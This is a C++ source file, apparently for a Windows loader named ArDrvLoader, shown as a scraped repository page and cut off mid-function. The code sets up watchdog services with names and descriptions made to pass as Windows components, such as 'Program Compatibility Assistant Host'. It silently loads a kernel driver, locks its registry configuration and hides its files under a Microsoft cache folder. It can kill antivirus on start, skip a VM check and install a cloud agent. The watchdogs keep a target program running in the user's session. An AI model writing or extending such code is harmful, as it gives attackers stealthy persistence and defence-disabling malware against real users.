1827 lines
48 KiB
C++
1827 lines
48 KiB
C++
#include "Common.h"
|
|
#include "GuardService.h"
|
|
|
|
#include "Logger.h"
|
|
#include "ProcessUtils.h"
|
|
#include "ServiceManager.h"
|
|
#include "DriverClient.h"
|
|
#include "HostStager.h"
|
|
#include "StageClient.h"
|
|
#include "Exclusions.h"
|
|
#include "AvKill.h"
|
|
#include "Paths.h"
|
|
|
|
#include <cwchar>
|
|
#include <sstream>
|
|
#include <aclapi.h>
|
|
#include <accctrl.h>
|
|
|
|
static const wchar_t* kConfigKey = L"SOFTWARE\\ArDrvLoader";
|
|
|
|
struct GuardConfig
|
|
{
|
|
std::wstring role;
|
|
std::wstring serviceName;
|
|
std::wstring prefix;
|
|
std::wstring targetPath;
|
|
std::wstring targetArgs;
|
|
std::wstring targetService;
|
|
|
|
std::wstring driverImage = L"C:\\Windows\\System32\\drivers\\ardrv.sys";
|
|
std::wstring driverService = L"ArDrv";
|
|
std::wstring driverDevice = L"\\\\.\\ArDrv";
|
|
|
|
// Names of the installed watchdogs, so each role can keep its peers alive.
|
|
std::wstring driverServiceName;
|
|
std::wstring guardServiceName;
|
|
std::wstring repairServiceName;
|
|
|
|
DWORD intervalMs = 5000;
|
|
DWORD desiredStartType = SERVICE_AUTO_START;
|
|
DWORD killAvOnStart = 0;
|
|
DWORD driverFailMax = 3;
|
|
|
|
bool noStart = false;
|
|
bool console = false;
|
|
bool allowVm = false;
|
|
bool keepLocation = false;
|
|
bool installDryRun = false;
|
|
std::wstring installDir;
|
|
|
|
// Optional cloud agent service installed in the same elevated pass.
|
|
std::wstring cloudUrl;
|
|
std::wstring cloudSecret;
|
|
std::wstring cloudAgent;
|
|
std::wstring cloudServiceName;
|
|
};
|
|
|
|
static SERVICE_STATUS_HANDLE g_guardStatusHandle = nullptr;
|
|
static SERVICE_STATUS g_guardStatus{};
|
|
static HANDLE g_guardStopEvent = nullptr;
|
|
static std::wstring g_guardServiceName = L"ArDrvGuard";
|
|
static GuardConfig g_guardBaseConfig;
|
|
|
|
static void TrimW(std::wstring& s)
|
|
{
|
|
size_t a = 0;
|
|
size_t b = s.size();
|
|
|
|
while (a < b && iswspace(s[a]))
|
|
++a;
|
|
|
|
while (b > a && iswspace(s[b - 1]))
|
|
--b;
|
|
|
|
if (a != 0 || b != s.size())
|
|
s = s.substr(a, b - a);
|
|
}
|
|
|
|
static bool FileExistsW(const std::wstring& path)
|
|
{
|
|
if (path.empty())
|
|
return false;
|
|
|
|
DWORD attr = GetFileAttributesW(path.c_str());
|
|
return attr != INVALID_FILE_ATTRIBUTES && (attr & FILE_ATTRIBUTE_DIRECTORY) == 0;
|
|
}
|
|
|
|
static std::wstring GetModuleDirectory()
|
|
{
|
|
wchar_t path[MAX_PATH]{};
|
|
DWORD len = GetModuleFileNameW(nullptr, path, _countof(path));
|
|
|
|
if (len == 0 || len >= _countof(path))
|
|
return std::wstring();
|
|
|
|
std::wstring p = path;
|
|
size_t pos = p.find_last_of(L"\\/");
|
|
|
|
if (pos != std::wstring::npos)
|
|
p = p.substr(0, pos);
|
|
|
|
return p;
|
|
}
|
|
|
|
static std::wstring GetFullPathW(const std::wstring& path)
|
|
{
|
|
if (path.empty())
|
|
return path;
|
|
|
|
wchar_t full[4096]{};
|
|
DWORD n = GetFullPathNameW(path.c_str(), _countof(full), full, nullptr);
|
|
|
|
if (n == 0 || n >= _countof(full))
|
|
return path;
|
|
|
|
return full;
|
|
}
|
|
|
|
static bool RegReadStringValue(const wchar_t* name, std::wstring& out)
|
|
{
|
|
out.clear();
|
|
|
|
HKEY key = nullptr;
|
|
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, KEY_READ, &key) != ERROR_SUCCESS)
|
|
return false;
|
|
|
|
DWORD type = 0;
|
|
DWORD size = 0;
|
|
|
|
if (RegQueryValueExW(key, name, nullptr, &type, nullptr, &size) != ERROR_SUCCESS)
|
|
{
|
|
RegCloseKey(key);
|
|
return false;
|
|
}
|
|
|
|
if (type != REG_SZ && type != REG_EXPAND_SZ)
|
|
{
|
|
RegCloseKey(key);
|
|
return false;
|
|
}
|
|
|
|
std::vector<wchar_t> buf(size / sizeof(wchar_t) + 1);
|
|
|
|
if (RegQueryValueExW(key, name, nullptr, nullptr, (LPBYTE)buf.data(), &size) == ERROR_SUCCESS)
|
|
out = buf.data();
|
|
|
|
RegCloseKey(key);
|
|
return true;
|
|
}
|
|
|
|
static bool RegReadDwordValue(const wchar_t* name, DWORD& out)
|
|
{
|
|
out = 0;
|
|
|
|
HKEY key = nullptr;
|
|
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, KEY_READ, &key) != ERROR_SUCCESS)
|
|
return false;
|
|
|
|
DWORD type = 0;
|
|
DWORD size = sizeof(out);
|
|
DWORD value = 0;
|
|
|
|
bool ok =
|
|
RegQueryValueExW(key, name, nullptr, &type, (LPBYTE)&value, &size) == ERROR_SUCCESS &&
|
|
type == REG_DWORD;
|
|
|
|
RegCloseKey(key);
|
|
|
|
if (ok)
|
|
out = value;
|
|
|
|
return ok;
|
|
}
|
|
|
|
static bool WriteStringValue(HKEY key, const wchar_t* name, const std::wstring& value)
|
|
{
|
|
DWORD bytes = (DWORD)((value.size() + 1) * sizeof(wchar_t));
|
|
return RegSetValueExW(key, name, 0, REG_SZ, (const BYTE*)value.c_str(), bytes) == ERROR_SUCCESS;
|
|
}
|
|
|
|
static bool WriteDwordValue(HKEY key, const wchar_t* name, DWORD value)
|
|
{
|
|
return RegSetValueExW(key, name, 0, REG_DWORD, (const BYTE*)&value, sizeof(value)) == ERROR_SUCCESS;
|
|
}
|
|
|
|
static GuardConfig LoadRuntimeConfig(const GuardConfig& base)
|
|
{
|
|
GuardConfig cfg = base;
|
|
std::wstring s;
|
|
DWORD d = 0;
|
|
|
|
if (RegReadStringValue(L"TargetPath", s) && !s.empty())
|
|
cfg.targetPath = s;
|
|
|
|
if (RegReadStringValue(L"TargetArgs", s) && !s.empty())
|
|
cfg.targetArgs = s;
|
|
|
|
if (RegReadStringValue(L"TargetService", s) && !s.empty())
|
|
cfg.targetService = s;
|
|
|
|
if (RegReadStringValue(L"DriverImage", s) && !s.empty())
|
|
cfg.driverImage = s;
|
|
|
|
if (RegReadStringValue(L"DriverService", s) && !s.empty())
|
|
cfg.driverService = s;
|
|
|
|
if (RegReadStringValue(L"DriverDevice", s) && !s.empty())
|
|
cfg.driverDevice = s;
|
|
|
|
if (RegReadDwordValue(L"CheckIntervalMs", d) && d >= 1000)
|
|
cfg.intervalMs = d;
|
|
|
|
if (RegReadStringValue(L"DriverServiceName", s) && !s.empty())
|
|
cfg.driverServiceName = s;
|
|
|
|
if (RegReadStringValue(L"GuardServiceName", s) && !s.empty())
|
|
cfg.guardServiceName = s;
|
|
|
|
if (RegReadStringValue(L"RepairServiceName", s) && !s.empty())
|
|
cfg.repairServiceName = s;
|
|
|
|
if (RegReadDwordValue(L"DesiredStartType", d) &&
|
|
(d == SERVICE_AUTO_START || d == SERVICE_DEMAND_START || d == SERVICE_DISABLED))
|
|
{
|
|
cfg.desiredStartType = d;
|
|
}
|
|
|
|
if (RegReadDwordValue(L"KillAvOnStart", d))
|
|
cfg.killAvOnStart = d;
|
|
|
|
if (RegReadDwordValue(L"DriverFailMax", d) && d >= 1 && d <= 100)
|
|
cfg.driverFailMax = d;
|
|
|
|
return cfg;
|
|
}
|
|
|
|
// Number of consecutive driver load failures, persisted so a boot loop cannot
|
|
// retry forever after a bugcheck.
|
|
static DWORD LoadDriverFailCount()
|
|
{
|
|
DWORD value = 0;
|
|
RegReadDwordValue(L"DriverFailCount", value);
|
|
return value;
|
|
}
|
|
|
|
static void SaveDriverFailCount(DWORD value)
|
|
{
|
|
HKEY key = nullptr;
|
|
|
|
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, nullptr, 0, KEY_SET_VALUE, nullptr, &key, nullptr)
|
|
== ERROR_SUCCESS)
|
|
{
|
|
WriteDwordValue(key, L"DriverFailCount", value);
|
|
RegCloseKey(key);
|
|
}
|
|
}
|
|
|
|
static void SaveDriverState(const wchar_t* state)
|
|
{
|
|
HKEY key = nullptr;
|
|
|
|
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, nullptr, 0, KEY_SET_VALUE, nullptr, &key, nullptr)
|
|
== ERROR_SUCCESS)
|
|
{
|
|
WriteStringValue(key, L"DriverState", state);
|
|
RegCloseKey(key);
|
|
}
|
|
}
|
|
|
|
static bool HardenConfigKey(HKEY key){
|
|
// SYSTEM and Administrators full control, everyone else nothing.
|
|
// Protected DACL so a child key cannot re-grant access.
|
|
const wchar_t* sddl = L"D:P(A;CI;KA;;;SY)(A;CI;KA;;;BA)";
|
|
|
|
PSECURITY_DESCRIPTOR sd = nullptr;
|
|
|
|
if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(
|
|
sddl,
|
|
SDDL_REVISION_1,
|
|
&sd,
|
|
nullptr))
|
|
{
|
|
Log(L"[-] Config DACL: SDDL parse failed: %lu", GetLastError());
|
|
return false;
|
|
}
|
|
|
|
BOOL daclPresent = FALSE;
|
|
BOOL daclDefaulted = FALSE;
|
|
PACL dacl = nullptr;
|
|
|
|
bool ok =
|
|
GetSecurityDescriptorDacl(sd, &daclPresent, &dacl, &daclDefaulted) &&
|
|
daclPresent &&
|
|
SetSecurityInfo(
|
|
key,
|
|
SE_REGISTRY_KEY,
|
|
DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION,
|
|
nullptr,
|
|
nullptr,
|
|
dacl,
|
|
nullptr) == ERROR_SUCCESS;
|
|
|
|
if (!ok)
|
|
Log(L"[-] Config DACL: SetSecurityInfo failed: %lu", GetLastError());
|
|
|
|
LocalFree(sd);
|
|
return ok;
|
|
}
|
|
|
|
static bool WriteInstalledConfig(const GuardConfig& cfg)
|
|
{
|
|
HKEY key = nullptr;
|
|
|
|
if (RegCreateKeyExW(
|
|
HKEY_LOCAL_MACHINE,
|
|
kConfigKey,
|
|
0,
|
|
nullptr,
|
|
0,
|
|
KEY_SET_VALUE | KEY_READ | WRITE_DAC,
|
|
nullptr,
|
|
&key,
|
|
nullptr) != ERROR_SUCCESS)
|
|
{
|
|
return false;
|
|
}
|
|
|
|
bool ok = true;
|
|
|
|
ok = WriteStringValue(key, L"TargetPath", cfg.targetPath) && ok;
|
|
ok = WriteStringValue(key, L"TargetArgs", cfg.targetArgs) && ok;
|
|
ok = WriteStringValue(key, L"TargetService", cfg.targetService) && ok;
|
|
ok = WriteStringValue(key, L"DriverImage", cfg.driverImage) && ok;
|
|
ok = WriteStringValue(key, L"DriverService", cfg.driverService) && ok;
|
|
ok = WriteStringValue(key, L"DriverDevice", cfg.driverDevice) && ok;
|
|
ok = WriteDwordValue(key, L"CheckIntervalMs", cfg.intervalMs) && ok;
|
|
ok = WriteDwordValue(key, L"DesiredStartType", cfg.desiredStartType) && ok;
|
|
ok = WriteStringValue(key, L"DriverServiceName", cfg.driverServiceName) && ok;
|
|
ok = WriteStringValue(key, L"GuardServiceName", cfg.guardServiceName) && ok;
|
|
ok = WriteStringValue(key, L"RepairServiceName", cfg.repairServiceName) && ok;
|
|
ok = WriteDwordValue(key, L"AllowVm", cfg.allowVm ? 1 : 0) && ok;
|
|
ok = WriteDwordValue(key, L"KillAvOnStart", cfg.killAvOnStart) && ok;
|
|
ok = WriteDwordValue(key, L"DriverFailMax", cfg.driverFailMax) && ok;
|
|
|
|
HardenConfigKey(key);
|
|
|
|
RegCloseKey(key);
|
|
return ok;
|
|
}
|
|
|
|
static std::wstring DefaultServiceNameForRole(const std::wstring& role)
|
|
{
|
|
// Names read like Windows component hosts: short, plausible, and not
|
|
// colliding with any real service.
|
|
if (_wcsicmp(role.c_str(), L"driver") == 0)
|
|
return L"DeviceSetupHost";
|
|
|
|
if (_wcsicmp(role.c_str(), L"repair") == 0)
|
|
return L"ServiceStateHost";
|
|
|
|
return L"ProgramCompatHost";
|
|
}
|
|
|
|
static std::wstring DisplayNameForRole(const std::wstring& role)
|
|
{
|
|
if (_wcsicmp(role.c_str(), L"driver") == 0)
|
|
return L"Device Setup Manager Host";
|
|
|
|
if (_wcsicmp(role.c_str(), L"repair") == 0)
|
|
return L"Service State Repository Host";
|
|
|
|
return L"Program Compatibility Assistant Host";
|
|
}
|
|
|
|
static std::wstring DescriptionForRole(const std::wstring& role)
|
|
{
|
|
if (_wcsicmp(role.c_str(), L"driver") == 0)
|
|
return L"Maintains device installation state and loads required kernel components.";
|
|
|
|
if (_wcsicmp(role.c_str(), L"repair") == 0)
|
|
return L"Monitors service state and restores required components.";
|
|
|
|
return L"Tracks application compatibility state and keeps registered programs available.";
|
|
}
|
|
|
|
// Default install directory: %ProgramData%\Microsoft\Windows\Caches\<ServiceName>
|
|
static std::wstring DefaultInstallDir(const std::wstring& serviceName)
|
|
{
|
|
return ArdrvServiceDir(serviceName);
|
|
}
|
|
|
|
static bool ParseGuardArgs(int argc, wchar_t** argv, int start, GuardConfig& cfg)
|
|
{
|
|
for (int i = start; i < argc; ++i)
|
|
{
|
|
std::wstring a = argv[i];
|
|
|
|
auto takeNext = [&](std::wstring& out) -> bool
|
|
{
|
|
if (i + 1 >= argc)
|
|
return false;
|
|
|
|
out = argv[++i];
|
|
return true;
|
|
};
|
|
|
|
if (a == L"--service-name")
|
|
{
|
|
if (!takeNext(cfg.serviceName))
|
|
return false;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--prefix")
|
|
{
|
|
if (!takeNext(cfg.prefix))
|
|
return false;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--target")
|
|
{
|
|
if (!takeNext(cfg.targetPath))
|
|
return false;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--args")
|
|
{
|
|
if (!takeNext(cfg.targetArgs))
|
|
return false;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--target-service")
|
|
{
|
|
if (!takeNext(cfg.targetService))
|
|
return false;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--driver-image")
|
|
{
|
|
if (!takeNext(cfg.driverImage))
|
|
return false;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--driver-service")
|
|
{
|
|
if (!takeNext(cfg.driverService))
|
|
return false;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--driver-device")
|
|
{
|
|
if (!takeNext(cfg.driverDevice))
|
|
return false;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--interval")
|
|
{
|
|
std::wstring v;
|
|
if (!takeNext(v))
|
|
return false;
|
|
|
|
DWORD ms = (DWORD)wcstoul(v.c_str(), nullptr, 10);
|
|
if (ms >= 1000)
|
|
cfg.intervalMs = ms;
|
|
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--desired-start")
|
|
{
|
|
std::wstring v;
|
|
if (!takeNext(v))
|
|
return false;
|
|
|
|
cfg.desiredStartType =
|
|
(_wcsicmp(v.c_str(), L"demand") == 0)
|
|
? SERVICE_DEMAND_START
|
|
: SERVICE_AUTO_START;
|
|
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--no-start")
|
|
{
|
|
cfg.noStart = true;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--console")
|
|
{
|
|
cfg.console = true;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--allow-vm")
|
|
{
|
|
cfg.allowVm = true;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--install-dir")
|
|
{
|
|
if (!takeNext(cfg.installDir))
|
|
return false;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--keep-location")
|
|
{
|
|
cfg.keepLocation = true;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--dry-run")
|
|
{
|
|
cfg.installDryRun = true;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--cloud-url")
|
|
{
|
|
if (!takeNext(cfg.cloudUrl))
|
|
return false;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--cloud-secret")
|
|
{
|
|
if (!takeNext(cfg.cloudSecret))
|
|
return false;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--cloud-agent")
|
|
{
|
|
if (!takeNext(cfg.cloudAgent))
|
|
return false;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--cloud-service")
|
|
{
|
|
if (!takeNext(cfg.cloudServiceName))
|
|
return false;
|
|
continue;
|
|
}
|
|
|
|
if (a == L"--elevated")
|
|
continue;
|
|
|
|
if (!a.empty() && a[0] != L'-' && cfg.targetPath.empty())
|
|
cfg.targetPath = a;
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
static bool EnsureDriverFile(const GuardConfig& cfg)
|
|
{
|
|
if (FileExistsW(cfg.driverImage))
|
|
return true;
|
|
|
|
std::wstring dir = GetModuleDirectory();
|
|
if (dir.empty())
|
|
return false;
|
|
|
|
std::wstring local = dir + L"\\ardrv.sys";
|
|
|
|
if (!FileExistsW(local))
|
|
{
|
|
// No loose driver next to the exe: try the image packed into this binary.
|
|
if (ExtractDriverImageIfEmbedded(cfg.driverImage.c_str()))
|
|
return true;
|
|
|
|
Log(L"[-] Driver image not found: %s", cfg.driverImage.c_str());
|
|
return false;
|
|
}
|
|
|
|
if (!CopyFileW(local.c_str(), cfg.driverImage.c_str(), FALSE))
|
|
{
|
|
Log(L"[-] CopyFile driver failed: %lu", GetLastError());
|
|
return false;
|
|
}
|
|
|
|
Log(L"[+] Driver image copied to %s", cfg.driverImage.c_str());
|
|
return FileExistsW(cfg.driverImage);
|
|
}
|
|
|
|
static bool EnsureDriverRunning(const GuardConfig& cfg)
|
|
{
|
|
if (!EnsureDriverFile(cfg))
|
|
return false;
|
|
|
|
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
|
if (!scm)
|
|
{
|
|
Log(L"[-] Driver role: OpenSCManager failed: %lu", GetLastError());
|
|
return false;
|
|
}
|
|
|
|
const DWORD access =
|
|
SERVICE_QUERY_STATUS |
|
|
SERVICE_START |
|
|
SERVICE_CHANGE_CONFIG |
|
|
SERVICE_QUERY_CONFIG;
|
|
|
|
SC_HANDLE svc = OpenServiceW(scm, cfg.driverService.c_str(), access);
|
|
|
|
if (!svc)
|
|
{
|
|
DWORD e = GetLastError();
|
|
|
|
if (e == ERROR_SERVICE_DOES_NOT_EXIST)
|
|
{
|
|
svc = CreateServiceW(
|
|
scm,
|
|
cfg.driverService.c_str(),
|
|
cfg.driverService.c_str(),
|
|
access,
|
|
SERVICE_KERNEL_DRIVER,
|
|
SERVICE_DEMAND_START,
|
|
SERVICE_ERROR_NORMAL,
|
|
cfg.driverImage.c_str(),
|
|
nullptr,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr);
|
|
|
|
if (svc)
|
|
Log(L"[+] Driver service created: %s", cfg.driverService.c_str());
|
|
else
|
|
Log(L"[-] Driver service create failed: %lu", GetLastError());
|
|
}
|
|
else
|
|
{
|
|
Log(L"[-] Driver service open failed: %lu", e);
|
|
}
|
|
}
|
|
|
|
if (!svc)
|
|
{
|
|
CloseServiceHandle(scm);
|
|
return false;
|
|
}
|
|
|
|
SERVICE_STATUS st{};
|
|
bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING;
|
|
|
|
if (!running)
|
|
{
|
|
if (!StartServiceW(svc, 0, nullptr))
|
|
{
|
|
DWORD e = GetLastError();
|
|
|
|
if (e == ERROR_SERVICE_DISABLED)
|
|
{
|
|
ChangeServiceConfigW(
|
|
svc,
|
|
SERVICE_NO_CHANGE,
|
|
SERVICE_DEMAND_START,
|
|
SERVICE_NO_CHANGE,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr);
|
|
|
|
StartServiceW(svc, 0, nullptr);
|
|
}
|
|
}
|
|
}
|
|
|
|
bool deviceOk = false;
|
|
|
|
for (int i = 0; i < 60; ++i)
|
|
{
|
|
HANDLE h = CreateFileW(
|
|
cfg.driverDevice.c_str(),
|
|
GENERIC_READ | GENERIC_WRITE,
|
|
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
|
nullptr,
|
|
OPEN_EXISTING,
|
|
0,
|
|
nullptr);
|
|
|
|
if (h != INVALID_HANDLE_VALUE)
|
|
{
|
|
CloseHandle(h);
|
|
deviceOk = true;
|
|
break;
|
|
}
|
|
|
|
Sleep(50);
|
|
}
|
|
|
|
if (!deviceOk)
|
|
Log(L"[-] Driver device not available: %s", cfg.driverDevice.c_str());
|
|
|
|
CloseServiceHandle(svc);
|
|
CloseServiceHandle(scm);
|
|
return deviceOk;
|
|
}
|
|
|
|
static bool GetProcessImagePath(DWORD pid, std::wstring& out)
|
|
{
|
|
out.clear();
|
|
|
|
HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
|
if (!h)
|
|
return false;
|
|
|
|
wchar_t buf[4096]{};
|
|
DWORD size = _countof(buf);
|
|
|
|
bool ok = QueryFullProcessImageNameW(h, 0, buf, &size) == TRUE;
|
|
|
|
if (ok)
|
|
out.assign(buf, size);
|
|
|
|
CloseHandle(h);
|
|
return ok;
|
|
}
|
|
|
|
static bool IsTargetProcessRunning(const GuardConfig& cfg)
|
|
{
|
|
if (cfg.targetPath.empty())
|
|
return false;
|
|
|
|
std::wstring target = GetFullPathW(cfg.targetPath);
|
|
|
|
bool pathLike =
|
|
target.find(L'\\') != std::wstring::npos ||
|
|
target.find(L'/') != std::wstring::npos ||
|
|
target.find(L':') != std::wstring::npos;
|
|
|
|
if (!pathLike)
|
|
return GetPidByName(cfg.targetPath.c_str()) != 0;
|
|
|
|
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
if (snap == INVALID_HANDLE_VALUE)
|
|
return false;
|
|
|
|
std::wstring targetName = target;
|
|
size_t slash = targetName.find_last_of(L"\\/");
|
|
if (slash != std::wstring::npos)
|
|
targetName = targetName.substr(slash + 1);
|
|
|
|
PROCESSENTRY32W pe{};
|
|
pe.dwSize = sizeof(pe);
|
|
|
|
bool exactFound = false;
|
|
bool nameFound = false;
|
|
|
|
if (Process32First(snap, &pe))
|
|
{
|
|
do
|
|
{
|
|
if (pe.th32ProcessID == 0 || pe.th32ProcessID == 4)
|
|
continue;
|
|
|
|
if (!targetName.empty() && _wcsicmp(pe.szExeFile, targetName.c_str()) == 0)
|
|
nameFound = true;
|
|
|
|
std::wstring image;
|
|
|
|
if (!GetProcessImagePath(pe.th32ProcessID, image))
|
|
continue;
|
|
|
|
if (_wcsicmp(image.c_str(), target.c_str()) == 0)
|
|
{
|
|
exactFound = true;
|
|
break;
|
|
}
|
|
} while (Process32Next(snap, &pe));
|
|
}
|
|
|
|
CloseHandle(snap);
|
|
return exactFound || nameFound;
|
|
}
|
|
|
|
static bool StartTargetProcess(const GuardConfig& cfg)
|
|
{
|
|
if (cfg.targetPath.empty())
|
|
return false;
|
|
|
|
HANDLE mutex = CreateMutexW(nullptr, FALSE, L"Global\\ArDrvGuardStart");
|
|
bool locked = false;
|
|
|
|
if (mutex)
|
|
{
|
|
DWORD wait = WaitForSingleObject(mutex, 5000);
|
|
|
|
if (wait == WAIT_OBJECT_0 || wait == WAIT_ABANDONED)
|
|
locked = true;
|
|
else
|
|
{
|
|
CloseHandle(mutex);
|
|
mutex = nullptr;
|
|
}
|
|
}
|
|
|
|
if (locked && IsTargetProcessRunning(cfg))
|
|
{
|
|
ReleaseMutex(mutex);
|
|
CloseHandle(mutex);
|
|
return true;
|
|
}
|
|
|
|
std::wstring path = GetFullPathW(cfg.targetPath);
|
|
|
|
if (!FileExistsW(path))
|
|
{
|
|
Log(L"[-] Target program not found: %s", path.c_str());
|
|
|
|
if (locked)
|
|
ReleaseMutex(mutex);
|
|
if (mutex)
|
|
CloseHandle(mutex);
|
|
|
|
return false;
|
|
}
|
|
|
|
std::wstring cmd = L"\"" + path + L"\"";
|
|
bool launched = false;
|
|
DWORD launchedPid = 0;
|
|
|
|
if (!cfg.targetArgs.empty())
|
|
cmd += L" " + cfg.targetArgs;
|
|
|
|
// The guard runs as LocalSystem in session 0. Starting the target there
|
|
// would make it invisible to the logged-in user, so try the active
|
|
// console session first and only fall back to the service session.
|
|
DWORD sessionId = WTSGetActiveConsoleSessionId();
|
|
|
|
if (sessionId != 0xFFFFFFFF)
|
|
{
|
|
HANDLE userToken = nullptr;
|
|
|
|
if (WTSQueryUserToken(sessionId, &userToken))
|
|
{
|
|
HANDLE primary = nullptr;
|
|
|
|
if (DuplicateTokenEx(
|
|
userToken,
|
|
MAXIMUM_ALLOWED,
|
|
nullptr,
|
|
SecurityImpersonation,
|
|
TokenPrimary,
|
|
&primary))
|
|
{
|
|
LPVOID env = nullptr;
|
|
CreateEnvironmentBlock(&env, primary, FALSE);
|
|
|
|
STARTUPINFOW si{};
|
|
si.cb = sizeof(si);
|
|
si.lpDesktop = const_cast<LPWSTR>(L"winsta0\\default");
|
|
|
|
PROCESS_INFORMATION pi{};
|
|
|
|
std::wstring mutableCmd = cmd;
|
|
|
|
BOOL created = CreateProcessAsUserW(
|
|
primary,
|
|
nullptr,
|
|
mutableCmd.data(),
|
|
nullptr,
|
|
nullptr,
|
|
FALSE,
|
|
CREATE_UNICODE_ENVIRONMENT,
|
|
env,
|
|
nullptr,
|
|
&si,
|
|
&pi);
|
|
|
|
if (created)
|
|
{
|
|
launched = true;
|
|
launchedPid = pi.dwProcessId;
|
|
CloseHandle(pi.hThread);
|
|
CloseHandle(pi.hProcess);
|
|
}
|
|
else
|
|
{
|
|
Log(L"[!] CreateProcessAsUser failed: %lu, falling back", GetLastError());
|
|
}
|
|
|
|
if (env)
|
|
DestroyEnvironmentBlock(env);
|
|
|
|
CloseHandle(primary);
|
|
}
|
|
else
|
|
{
|
|
Log(L"[!] DuplicateTokenEx failed: %lu", GetLastError());
|
|
}
|
|
|
|
CloseHandle(userToken);
|
|
}
|
|
}
|
|
|
|
if (!launched)
|
|
{
|
|
STARTUPINFOW si{};
|
|
si.cb = sizeof(si);
|
|
|
|
PROCESS_INFORMATION pi{};
|
|
|
|
BOOL ok = CreateProcessW(
|
|
nullptr,
|
|
cmd.data(),
|
|
nullptr,
|
|
nullptr,
|
|
FALSE,
|
|
CREATE_NO_WINDOW,
|
|
nullptr,
|
|
nullptr,
|
|
&si,
|
|
&pi);
|
|
|
|
if (ok)
|
|
{
|
|
launched = true;
|
|
launchedPid = pi.dwProcessId;
|
|
CloseHandle(pi.hThread);
|
|
CloseHandle(pi.hProcess);
|
|
}
|
|
else
|
|
{
|
|
Log(L"[-] Start target failed: %lu", GetLastError());
|
|
}
|
|
}
|
|
|
|
if (launched)
|
|
Log(L"[+] Target started: PID %lu", launchedPid);
|
|
|
|
if (locked)
|
|
ReleaseMutex(mutex);
|
|
if (mutex)
|
|
CloseHandle(mutex);
|
|
|
|
return launched;
|
|
}
|
|
|
|
static bool StartServiceLocal(const std::wstring& name, bool enableIfDisabled, DWORD desiredStartType)
|
|
{
|
|
if (name.empty())
|
|
return false;
|
|
|
|
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
|
|
if (!scm)
|
|
return false;
|
|
|
|
SC_HANDLE svc = OpenServiceW(
|
|
scm,
|
|
name.c_str(),
|
|
SERVICE_QUERY_STATUS | SERVICE_START | SERVICE_CHANGE_CONFIG);
|
|
|
|
if (!svc)
|
|
{
|
|
Log(L"[-] OpenService(%s) failed: %lu", name.c_str(), GetLastError());
|
|
CloseServiceHandle(scm);
|
|
return false;
|
|
}
|
|
|
|
SERVICE_STATUS st{};
|
|
bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING;
|
|
|
|
if (running)
|
|
{
|
|
CloseServiceHandle(svc);
|
|
CloseServiceHandle(scm);
|
|
return true;
|
|
}
|
|
|
|
if (!StartServiceW(svc, 0, nullptr))
|
|
{
|
|
DWORD e = GetLastError();
|
|
|
|
if (e == ERROR_SERVICE_DISABLED && enableIfDisabled)
|
|
{
|
|
ChangeServiceConfigW(
|
|
svc,
|
|
SERVICE_NO_CHANGE,
|
|
desiredStartType,
|
|
SERVICE_NO_CHANGE,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr);
|
|
|
|
StartServiceW(svc, 0, nullptr);
|
|
e = GetLastError();
|
|
}
|
|
|
|
if (e != ERROR_SERVICE_ALREADY_RUNNING)
|
|
{
|
|
Log(L"[-] StartService(%s) failed: %lu", name.c_str(), e);
|
|
CloseServiceHandle(svc);
|
|
CloseServiceHandle(scm);
|
|
return false;
|
|
}
|
|
}
|
|
|
|
CloseServiceHandle(svc);
|
|
CloseServiceHandle(scm);
|
|
return true;
|
|
}
|
|
|
|
static bool CheckGuard(const GuardConfig& cfg)
|
|
{
|
|
bool ok = true;
|
|
|
|
if (!cfg.targetService.empty())
|
|
{
|
|
if (!IsServiceRunning(cfg.targetService.c_str()))
|
|
{
|
|
Log(L"[guard] service %s is not running, starting", cfg.targetService.c_str());
|
|
ok = StartServiceLocal(cfg.targetService, false, cfg.desiredStartType) && ok;
|
|
}
|
|
}
|
|
|
|
if (!cfg.targetPath.empty())
|
|
{
|
|
if (!IsTargetProcessRunning(cfg))
|
|
{
|
|
Log(L"[guard] program is not running, starting: %s", cfg.targetPath.c_str());
|
|
ok = StartTargetProcess(cfg) && ok;
|
|
}
|
|
}
|
|
|
|
return ok;
|
|
}
|
|
|
|
static bool CheckRepair(const GuardConfig& cfg)
|
|
{
|
|
if (!cfg.targetService.empty())
|
|
{
|
|
